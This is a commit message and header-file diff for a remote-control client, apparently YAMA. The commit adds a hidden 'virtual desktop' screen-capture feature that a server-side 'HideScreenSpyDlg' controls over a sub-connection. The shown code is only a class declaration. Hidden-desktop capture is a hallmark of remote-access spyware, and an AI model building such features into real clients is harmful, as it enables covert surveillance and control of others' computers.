Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro

client/screenhide/ScreenHideManager.h

@@ -0,0 +1,21 @@
+#pragma once
+#include "Manager.h"
+
+#include "ScreenHideSpy.h"
+#include "ScreenManagerBase.h"
+
+namespace SimplePluginsScreenHide {
+
+class CScreenHideManager : public CScreenManagerBase
+{
+public:
+    CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
+    virtual ~CScreenHideManager();
+
+    void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
+
+	virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
+    virtual void InitScreenSpy();
+};
+
+} // namespace SimplePluginsScreenHide